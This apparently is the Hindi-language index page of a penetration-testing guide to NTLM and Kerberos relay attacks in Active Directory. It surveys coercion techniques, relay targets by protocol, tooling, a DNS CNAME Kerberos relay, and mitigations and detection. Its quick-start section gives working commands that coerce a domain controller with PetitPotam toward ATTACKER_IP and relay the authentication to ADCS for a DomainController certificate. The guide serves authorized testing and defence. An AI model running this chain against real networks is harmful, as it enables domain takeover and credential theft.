रिले बाइबिल — आंतरिक पैठ परीक्षण रिले गाइड

अधिकृत आंतरिक पैठ परीक्षणों के दौरान NTLM रिले हमलों के लिए एक व्यापक संदर्भ। प्रमाणीकरण मूल बातें, मजबूरी तकनीक, प्रति-प्रोटोकॉल रिले लक्ष्य, टूलिंग, उन्नत श्रृंखला और रक्षात्मक शमन को शामिल करता है।

पूर्वापेक्षाएँ

एक लिनक्स हमला होस्ट (काली, तोता, या समान)
स्थापित Impacket के साथ Python 3.10+
लक्ष्य वातावरण तक नेटवर्क पहुंच (अधिकृत जुड़ाव)
सक्रिय निर्देशिका और विंडोज नेटवर्किंग की बुनियादी समझ

सामग्री तालिका

1. मूल सिद्धांत

NTLM प्रमाणीकरण और रिले सिद्धांत — NTLM कैसे काम करता है, रिले करना क्यों संभव है, NTLMv1 बनाम v2, हस्ताक्षर, EPA
केर्बेरोस प्रमाणीकरण और रिले सिद्धांत — AS/TGS/AP आदान-प्रदान, SPN कैनोनिकलाइज़ेशन, केर्बेरोस अभी भी रिले करने योग्य क्यों है
रिले के अवसरों की पहचान — गणना, बिना हस्ताक्षर वाले होस्ट ढूँढना, हमले की सतह का मानचित्रण

2. मजबूरी तकनीकें

मजबूरी अवलोकन — मशीनों को आपके श्रोता से प्रमाणित करने के लिए बाध्य करना
पेटिटपोटाम (MS-EFSRPC)
प्रिंटरबग / स्पूलसैंपल (MS-RPRN)
DFSCoerce (MS-DFSNM)
शैडोकोअर्स (MS-FSRVP)

3. रिले लक्ष्य (प्रोटोकॉल द्वारा)

SMB रिले — कोड निष्पादन के लिए SMB पर रिले
LDAP / LDAPS रिले — पहुँच प्रतिनिधित्व, मशीन खाते बनाना, RBCD
MSSQL रिले — कमांड निष्पादन के लिए SQL सर्वर पर रिले
HTTP / WebDAV रिले — वेब एंडपॉइंट पर रिले, WebDAV मजबूरी
ADCS हमले (ESC1–ESC15) — सभी ADCS वृद्धि तकनीकें जिनमें रिले शामिल है
SMTP / IMAP रिले — एक्सचेंज/मेल सेवाओं पर रिले
RPC / DCOM रिले — RPC एंडपॉइंट पर रिले
SOCKS प्रॉक्सी रिले — SOCKS के माध्यम से स्थायी रिले सत्र बनाए रखना

4. टूल सेटअप और उपयोग

रेस्पॉन्डर — जहर देना और हैश कैप्चर करना
ntlmrelayx.py — प्राथमिक रिले ढांचा
mitm6 — मजबूरी के लिए IPv6 DNS अधिग्रहण
Certipy — ADCS गणना और रिले
Coercer — स्वचालित मजबूरी उपकरण
krbrelayx — केर्बेरोस रिले और प्रतिनिधित्व दुरुपयोग

5. उन्नत तकनीकें

क्रॉस-प्रोटोकॉल रिले — एक प्रोटोकॉल से दूसरे पर रिले
IPv6 हमला श्रृंखला — mitm6 + रिले संयोजन
रिले श्रृंखला और पिवटिंग — मल्टी-हॉप रिले परिदृश्य
WebDAV मजबूरी चाल — मशीनों से HTTP प्रमाणीकरण बाध्य करना
DNS CNAME दुरुपयोग के माध्यम से केर्बेरोस रिले — Cymulate / CVE-2026-20929, CNAME विषाक्तता के माध्यम से केर्बेरोस TGS रिले

6. रक्षा और पहचान

शमन — SMB हस्ताक्षर, LDAP हस्ताक्षर, EPA, NTLM अक्षम करना
पहचान — लॉग स्रोत, सिग्मा नियम, व्यवहार संकेतक

त्वरित संदर्भ: NTLM रिले — कहाँ क्या रिले किया जा सकता है?

आधुनिक (CVE-2019-1040 के बाद पैच किए गए) वातावरणों पर क्लासिक NTLM रिले पर लागू होता है। अधिक विस्तृत क्रॉस-प्रोटोकॉल विवरण के लिए, क्रॉस-प्रोटोकॉल रिले देखें।

* लक्ष्य को SMB हस्ताक्षर की आवश्यकता नहीं होनी चाहिए † SMB-स्रोतित NTLM में NEGOTIATE में हस्ताक्षर फ्लैग शामिल होते हैं, जिन्हें LDAP और ADCS HTTP लागू करता है — जिससे रिले किए गए सत्र के लिए हस्ताक्षर कुंजी की आवश्यकता होती है जो हमलावर के पास नहीं है। यही कारण है कि LDAP और ADCS रिले के लिए WebDAV/HTTP-स्रोतित प्रमाणीकरण पसंद किया जाता है।

त्वरित संदर्भ: DNS CNAME दुरुपयोग के माध्यम से केर्बेरोस रिले

Cymulate / CVE-2026-20929 आदिम (जनवरी 2026) — हमलावर DNS को CNAME से दूषित करता है, विंडोज SPN को कैनोनिकलाइज़ करता है, क्लाइंट हमलावर के चुने हुए लक्ष्य के लिए TGS का अनुरोध करता है, AP-REQ रिले किया जाता है। चूंकि कई सेवाएँ केवल SPN के DNS भाग के आधार पर टिकट स्वीकार करती हैं, स्रोत SPN वर्ग NTLM रिले की तुलना में बहुत कम मायने रखता है — हमले को क्या रोकता है कि लक्ष्य सेवा अपने स्वयं के एंटी-रिले नियंत्रण को लागू करती है या नहीं।

सभी पंक्तियाँ मानती हैं कि हमलावर के पास DNS (mitm6 के माध्यम से DHCPv6, ARP, रोग DHCPv4) को दूषित करने के लिए नेटवर्क स्थिति है। पूरी तकनीक: DNS CNAME दुरुपयोग के माध्यम से केर्बेरोस रिले।

त्वरित प्रारंभ

गणना करें — हस्ताक्षर अक्षम वाले होस्ट खोजें और मजबूरी लक्ष्यों की पहचान करें
स्थापित करें — अपने लक्ष्य की ओर इशारा करते हुए अपना रिले श्रोता (ntlmrelayx) प्रारंभ करें
मजबूरी करें — स्रोत मशीन से आपके श्रोता तक प्रमाणीकरण ट्रिगर करें
लाभ उठाएँ — रिले कैप्चर करता है और प्रमाणीकरण को आपके लक्ष्य प्रोटोकॉल पर अग्रेषित करता है

# क्लासिक उदाहरण: DC को मजबूर करें, DC प्रमाणपत्र के लिए ADCS पर रिले करें
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
python3 PetitPotam.py ATTACKER_IP DC_IP

SMB	✅*	❌†	✅	✅	❌†	✅
HTTP	✅*	✅	✅	✅	✅	✅
WebDAV	✅*	✅	✅	✅	✅	✅
MSSQL	✅*	✅	✅	✅	✅	✅

SMB	SMB हस्ताक्षर लक्ष्य पर आवश्यक है	—
LDAP	LDAP हस्ताक्षर आवश्यक है	—
LDAPS	`LdapEnforceChannelBinding = 2` (हमेशा)	—
HTTP / IIS	HTTP CBT लागू (`HTTP.sys` टोकन जाँच = आवश्यक)	CVE-2026-20929 HTTP.sys CBT को बैकपोर्ट करता है
ADCS `/certsrv/`	विस्तारित सुरक्षा = vdir पर आवश्यक	HTTP.sys CBT CVE-2026-20929 के माध्यम से लागू होता है
MSSQL	विस्तारित सुरक्षा सक्षम	—
एक्सचेंज (OWA/ECP/…)	सभी वर्चुअल निर्देशिकाओं पर EPA	—

सबसे लोकप्रिय

relay_bible